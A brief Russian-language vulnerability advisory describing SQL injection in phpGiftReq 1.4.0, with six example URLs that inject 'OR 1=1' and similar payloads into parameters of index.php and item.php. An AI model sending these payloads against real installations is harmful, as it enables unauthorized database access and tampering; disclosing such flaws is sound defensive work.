• Партнер

  • Программа: phpGiftReq 1.4.0 

    Уязвимость позволяет удаленному атакующему выполнить произвольные команды в базе данных уязвимого приложения.
    Уязвимость существует из-за некорректной фильтрации данных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL запросы в текущее базе данных. 

    Примеры:

    http://[target]/phpgiftreg/index.php?action= ack&messageid=2%20OR%201%3d1 

    http://[target ]/phpgiftreg/index.php?action= approve&shopper=1%20OR%201%3d1

    http://[target]/phpgiftreg/index.php?action= decline&shopper=1%20OR%201%3d1

    http://[target]/phpgiftreg/i ndex.php?action= request&shopfor=3%2c0%29%2c%2899%2c100

    http://[target]/phpgiftreg/index.php?action= cancel&shopfor=3%20OR%201%3d1

    http://[target]/phpgiftreg/item.php ?action= delete&itemid=3%20OR%201%3d1

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии